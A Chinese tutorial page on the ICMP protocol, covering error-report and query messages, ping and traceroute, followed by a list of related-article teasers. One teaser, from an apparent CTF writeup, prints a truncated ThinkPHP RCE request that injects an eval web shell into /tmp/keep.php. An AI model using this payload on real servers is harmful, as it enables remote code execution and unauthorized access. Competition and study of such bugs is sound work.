4.8、网际控制报文协议 ICMP

news2024/11/19 4:39:28

为了更有效地转发 IP 数据报和提高交付成功的机会

  • 在网际层使用了网际控制报文协议 ICMP(Internet Control Message Protocol)。

主机或路由器使用 ICMP 来发送

  • 差错报告报文 \color{red}差错报告报文 差错报告报文
  • 询问报文 \color{red}询问报文 询问报文

I C M P 报文被封装在 I P 数据报 \color{red}ICMP 报文被封装在 IP 数据报 ICMP报文被封装在IP数据报中发送。


ICMP 差错报告报文共有以下 5 5 5

  • 终点不可达、源点抑制、时间超过、参数问题、改变路由(重定向)

1、终点不可达

当路由器或主机不能交付数据报时,就向源点发送终点不可达报文。

具体可再根据 ICMP 的代码字段细分为

  • 目的网络不可达、目的主机不可达、目的协议不可达、目的端口不可达、目的网络未知、目的主机未知

  • 13 13 13 种错误。


假设主机 H1H2 发送 IP 数据报

H1 会将 IP 数据报发送给路由器 R1,由 R1 帮其转发

R1 的路由表中没有网络 N3 的路由记录、默认路由以及主机 H2 的特定主机路由

  • R1 就不知道如何转发该数据报,只能将其丢弃

  • 并向发送该数据报的源主机 H1 发送 ICMP 差错报告报文(类型:终点不可达)

image-20230103215830549

2、源点抑制

当路由器或主机由于拥塞而丢弃数据报时,就向源点发送源点抑制报文,使源点知道应当把数据报的发送速率放

慢。


假设主机 H1H2 发送 IP 数据报

当该数据报传输到 R2 时,由于 R2 拥塞,也就是 R2 比较繁忙

  • R2 根据自己的丢包策略丢弃了该数据报

  • 并向发送该数据报的源主机 H1 发送 ICMP 差错报告报文(类型:源点抑制)

image-20230103220103483


image-20230103220123091

3、时间超过

当路由器收到一个目的 IP 地址不是自己的 IP 数据报,会将其生存时间 TTL 字段的值减 1 1 1

若结果不为 0 0 0 ,则将该 IP 数据报转发出去;若结果为 0 0 0,除丢弃该 IP 数据报外,还要向源点发送时间超过报文。


image-20230103220324230


另外,当终点在预先规定的时间内不能收到一个数据报的全部数据报片时,就把已收到的数据报片都丢弃

  • 也会向源点发送时间超过报文。

4、参数问题

当路由器或目的主机收到 IP 数据报后,根据其首部中的检验和字段发现首部在传输过程中出现了误码,就丢弃该数据报,并向源点发送参数问题报文。

image-20230103220527018

5、改变路由(重定向)

路由器把改变路由报文发送给主机,让主机知道下次应将数据报发送给另外的路由器(可通过更好的路由)。


假设我们给主机 H1 指定的默认网关是路由器 R1 ,则 H1 要发往网络 N2IP 数据报都会传输给 R1 ,尤其帮忙转发

zhuanfa.gif

R1 发现 H1 发往 N2 的数据报的最佳路由是应当经过 R4

  • 就用改变路由报文把这个情况告诉主机

于是,H1 就将自己的路由表种添加一个项目,到达 N2 应经过路由器 R4,而不是默认网关 R1

zhuanfa2.gif

6、不应发送 ICMP 差错报告报文的情况

ICMP 差错报告报文不再发送 ICMP 差错报告报文

对第一个分片的数据报片的所有后续数据报片都不发送 ICMP 差错报告报文

对具有多播地址的数据报都不发送 ICMP 差错报告报文

对具有特殊地址(如 127.0.0.0 127.0.0.0 127.0.0.0 0.0.0.0 0.0.0.0 0.0.0.0)的数据报不发送 ICMP 差错报告报文

7、习题

image-20230103222013632

答案 C

8、常见的 ICMP 询问报文(2 种)

8.1、回送请求和回答

ICMP 回送请求报文是由主机或路由器向一个特定的目的主机发出的询问。

收到此报文的主机必须给源主机或路由器发送 ICMP 回送回答报文。

这种询问报文用来 测试目的站是否可达 \color{red}测试目的站是否可达 测试目的站是否可达及了解其有关状态。

8.2、时间戳请求和回答

ICMP 时间戳请求报文是请某个主机或路由器回答当前的日期和时间。

ICMP 时间戳回答报文中有一个 32 32 32 位的字段,其中写入的整数代表从 1900 1900 1900 1 1 1 1 1 1 日起到当前时刻一共有多少秒。

这种询问报文用来进行 时钟同步和测量时间 \color{red}时钟同步和测量时间 时钟同步和测量时间

9、ICMP 应用举例

9.1、分组网间探测 PING(Packet InterNet Groper)

用来测试主机或路由器间的连通性

应用层直接使用网际层的 ICMP (没有通过运输层的 TCPUDP

使用 ICMP 回送请求和回答报文

例如:测试主机与百度网站服务器的连通性

ping.gif

9.2、跟踪路由 traceroute

用来测试 IP 数据报从源主机到达目的主机要经过哪些路由器

Windows 版本

  • tracert 命令

  • 应用层直接使用网际层 ICMP

  • 使用了 ICMP 回送请求和回答报文以及差错报告报文

Unix 版本

  • traceroute 命令

  • 在运输层使用 UDP 协议

  • 仅使用 ICMP 差错报告报文

image-20230103223903601

9.2.1、实现原理

假设 H1 想要知道到达 H2 要经过哪些路由器

H1 就给 H2 发送 ICMP 回送请求报文

  • 该报文被封装在 IP 数据报中

IP 数据报中首部生存字段 TTL 的值被设置为 1 1 1

IP 数据报到达 R1 后其生存时间减 1 1 1 结果为 0 0 0

R1 丢弃该数据报。并向发送该数据报的源主机 H1 发送 ICMP 差错报告报文

  • 类型:时间超过

image-20230103224542697


H1 继续发送下一个封装有 ICMP 回送请求报文的 IP 数据报

  • 其首部中生存时间字段 TTL 的值被设置为 2 2 2

image-20230103224740677


H2 解析该 ICMP 回送包请求报文的 IP 数据报

  • 发现其内部封装的时 ICMP 回送请求报文

image-20230103224919419

10、小结

image-20230103224945171

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/149141.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于采样的规划算法之动态窗口法(DWA)

动态规划将一个多步决策问题拆分成若干子问题,并且保证子问题的最优解能推出完整问题的最优解。所以,动态规划可以得到采样空间下的最优路径解。本章介绍的动态窗口法(Dynamic Window Approach, DWA)与动态规划类似,也是将从起点到终点的多步决策问题拆分成一系列子问题—…

Linux应用编程---1.线程与进程

Linux应用编程—1.线程与进程 1 重要概念 1.1 程序 ​ 程序指的是还没有运行起来的源代码,比如电脑上安装的“Keil MDK”、“Xshell”等等。 1.2 进程 ​ Win10环境下,打开任务管理器,能看到有“进程”一栏,点击进去能看到5个…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

QT-5.12: QSqlDatabase: QMYSQL driver not loaded 错误及解决方案

错误现象及原因&#xff1a; &#xff08;1&#xff09;qt SQL模块已默认不编译mysql驱动&#xff0c;导致mysql驱动缺失&#xff0c;错误提示如下&#xff08;可用数数据库驱动不含mysql驱动&#xff0c;执行方法一和二&#xff09;&#xff1b; &#xff08;2&#xff09;已…

C++新基础类型long long, char8_t, char16_t, char32_t

C新基础类型long long, char8_t, char16_t, char32_t一、整数类型 long long二、新字符类型 char16_t 和 char32_t三、char8_t 字符类型一、整数类型 long long 我们知道long通常表示一个32位整型&#xff0c;而long long则是用来表示一个64位的整型。 C标准中定义&#xff0…

vue3包依赖关系

包reactivity &#xff1a;响应式API&#xff0c;例如toRef、reactive、Effect、computed、watch等&#xff0c;可作为与框架无关的包&#xff0c;独立构建runtime-core&#xff1a;平台无关的运行时核心代码。包括虚拟dom渲染、组件实现和JavaScript API。可以使用这个包针对特…

机器学习实战教程(十一):线性回归基础篇

一、前言前面的文章介绍了很多分类算法&#xff0c;分类的目标变量是标称型数据&#xff0c;而本文将会对连续型的数据做出预测。主要讲解简单的线性回归和局部加权线性回归&#xff0c;并通过预测鲍鱼年龄的实例进行实战演练。二、什么是回归&#xff1f;回归的目的是预测数值…

Java学习笔记——继承(下)

目录继承中构造方法的访问特点构造方法的访问特点-父类没有空参构造方法代码优化和内存图解xx信息管理系统-集成改进抽象类入门抽象类的注意事项模板设计模式final关键字xx信息管理系统——抽象类改进代码块xx信息管理系统-代码块改进继承中构造方法的访问特点 子类再初始化之…

汽车电子行业入门指南「2022年国内主要新能源车销量」

汽车电子行业入门指南 雪云飞星 2022年国内主要新能源车销量 2022年汽车行业内的人们可谓是经历了很多&#xff1a;4月上海疫情、华为携问界的强势入局、年底取消新能源免购置税等等。对于博主而言也算人生一个小阶段&#xff0c;年底离开了曾经奋斗的某为&#xff0c;翻开了…

序列傅里叶变换

序列傅里叶变换定义 序列傅里叶变换 (DFT) 是一种数学变换&#xff0c;它将一个有限长度的序列转换为其频谱表示。它使用一个复数数组表示序列的频谱&#xff0c;其中每个元素表示对应的频率成分的幅度和相位。 DFT 的公式为&#xff1a; X[k] ∑n0 to N-1 x[n] * e^(-j2πkn/…

Unreal UCLASS常用的类标记宏

BlueprintType,使当前类可以作为蓝图中的类型使用。新建一个继承UObject的C类CustomObject:UObject默认是无法作为蓝图中的类型使用的,打开关卡蓝图,声明一个CustomObject变量:可以看到,这里无法声明CustomObject类型的变量,我们为CustomObject添加BlueprintType标记宏:这样我们…

我的2022,为什么要跳出舒适圈?

1前言今天的冬日暖阳高照&#xff0c;给我羽绒服下的肉身火一般的燥热&#xff0c;给了我一个错觉&#xff0c;以为到了阳春三月。刚刚送完老妈还有老婆孩子回老家&#xff0c;我坐到电脑机器前&#xff0c;准备捋一下思绪&#xff0c;回首2022的生活和工作。 2 2022 回顾今年用…

从零开始搭建Dubbo环境并整合Dubbo+SpringBoot

Windows环境搭建 1. 安装Zookeeper 下载 zookeeper3.5 下载地址 https://zookeeper.apache.org/releases.html#download 下载完成以后, 解压到一个目录下 然后把 zoo_sample.cfg 复制一份, 重命名为 zoo.cfg 修改配置文件 zoo.cfg 中的 dataDir 这个配置 修改为 dataDir../z…

pygame - 图片移动优化 - 引入面向对象思想

目录 一、基本框架 二、代码段 1、附注释 2、无注释 三、效果展示 备注&#xff1a;pygame - 图片移动优化中未对属性和方法进行封装&#xff0c;本篇文章将引入面向对象思想 一、基本框架 import sys import time import pygamepygame.init()SCREEN_WIDTH 680 SCREEN…

基于机器学习预测销售门店的商品销量详细教程

项目概述: 使用时间序列预测来预测来Corporacin Favorita 的数据的商店销售额。 具体来说,构建一个模型来更准确地预测在不同 Favorita 商店销售的数千种商品的单位销售额。您将使用包含日期、商店和商品信息、促销和单位销售的易于理解的训练数据集来练习您的机器学习技能。…

【debug日记】安装包后还是有下划线可以运行、gensim包的安装及版本不同引起的参数不匹配问题

文章目录gensim包版本不同引起的参数不匹配问题安装gensim包后还是有下划线可以运行gensim包的安装问题今天的debug历程可谓一步一个坑。首先我去github上下载了一个项目&#xff0c;关于graph embedding https://github.com/shenweichen/GraphEmbedding 我下载下来直接运行&a…

软件测试 -- 进阶 10 常见软件测试类型

业精于勤&#xff0c;荒于嬉&#xff1b;行成于思&#xff0c;毁于随。-- 韩愈 释译&#xff1a;学业因勤奋而专精&#xff0c;因玩乐而荒废&#xff1b;德行因独立思考而有所成就&#xff0c;因因循随俗而败坏。 是否执行程序/测试执行方法 - 静态测试 - 动态测试 …

如何简单的做量化交易

介绍 首先我不是量化工程师&#xff0c;我只是个后端工程师&#xff1b;其次我对量化也不感兴趣&#xff0c;自己有几把刷子还是了解的&#xff0c;自己不适合做量化交易&#xff1a; 自己没有优秀的模型设计能力自己是个长线投资&#xff0c;一般一个股票都是至少拿一年以上…

【五】Netty 传输Java对象

Netty 传输Java对象介绍业务场景模拟流程图代码展示订购采购消息 POJO 类订购应答消息 POJO 类服务端启动类 SubscribeReqServer服务端业务处理类 SubscribeServerHandler客户端启动类 SubscribeClient客户端 业务处理类 SubscribeClientHandler效果展示服务端打印客户端打印总…

20230109网安陈之琳材料大纲-web渗透

目录 引言 正文 信息收集 端口扫描 敏感目录的扫描 主机漏洞扫描 常见的漏洞及防御 SQL注入漏洞 目录遍历漏洞/文件包含漏洞 提权 删日志 引言 首先呢&#xff0c;经过我本人对此篇论文的研读&#xff0c;发现此篇论文属于web方向的一篇入门文章 梁本来前辈对常见…